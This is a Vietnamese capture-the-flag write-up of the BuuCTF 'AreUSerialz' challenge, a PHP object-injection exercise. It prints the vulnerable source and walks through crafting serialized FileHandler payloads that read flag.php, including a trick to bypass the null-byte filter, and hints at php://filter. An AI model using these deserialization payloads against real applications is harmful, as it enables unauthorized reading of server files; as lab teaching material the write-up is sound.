---
# System prepended metadata

title: "BuuCTF Web Challenge [Phần\_6]"

---

# BuuCTF Web Challenge [Phần 6]
## [网鼎杯 2020 青龙组]AreUSerialz

Tiếp tục với series BuuCTF. Thì ở phần này, mình có làm một challenge về **Object injection**

Mở url của challenge lên thì mình nhận được toàn bộ source code
```php=
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
```

Phân tích một chút về luồng hoạt động. Đầu tiên challenge sẽ nhận đầu vào thông qua parameter `str` của chúng ta, sau đó những gì chúng ta nhập vào sẽ bị kiểm tra bởi hàm `is_valid`
```php=
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
```
Nếu pass qua được hàm `is_valid()` thì đầu vào sẽ được `unserialize()`

Mô tả ngắn gọn về class FileHandler như sau:
Nó có 3 thuộc tính **protected** là `$op,$filename,$content`
`$filename`  để lưu tên file muốn đọc
`$content` để lưu nội dung của file được đọc
`$op` là option với **"1"** là lưu nội dung file vào `$content` với hàm `write()` chỉ hiển thị trạng thái đọc file thành công hay thất bại và **"2"** là in đọc file và in nội dung file ra luôn

=> vậy hướng tấn công của chúng ta là làm sao để `$op=2` và thay đổi được filename thành file ta muốn và cụ thể là `flag.php`

Oke giờ đến phần serialize và unserialize ha.
Đầu tiên mình thử serialize class FileHandler ra. và đây là định dạng mình nhận được
```php=
O:11:"FileHandler":3:{s:5:"*op";N;s:11:"*filename";N;s:10:"*content";N;}
```


Trong PHP khi mà class có các thuộc tính protected ta serialize sẽ có dạng "\00*\00" ở trước tên thuộc tính.
Ta có thể thay đổi giá trị của các thuộc tính này bằng cách sau:
```php
O:11:"FileHandler":3:{s:5:"\00*\00op";s:1:"2";s:11:"\00*\00filename";s:8:"flag.php";s:10:"\00*\00content";s:1:"1";}
```
Tuy nhiên, payload này lại không thể pass qua được hàm `is_valid()` do có **`\00`**

Nhưng có một điều khá hay là từ PHP 7.1 trở lên thì PHP không quan tâm protected hay public :Vv nên ta có thể đổi thuộc tính của nó thành public rồi unserialize luôn =))/
```php
O:11:"FileHandler":3:{s:2:"op";s:1:"2";s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}
```
![](https://hackmd.io/_uploads/rkxZOPVa2.png)
nhưng vẫn không đọc được file =((

Các bạn hãy thử với **php://filter** và lấy flag nhé :vv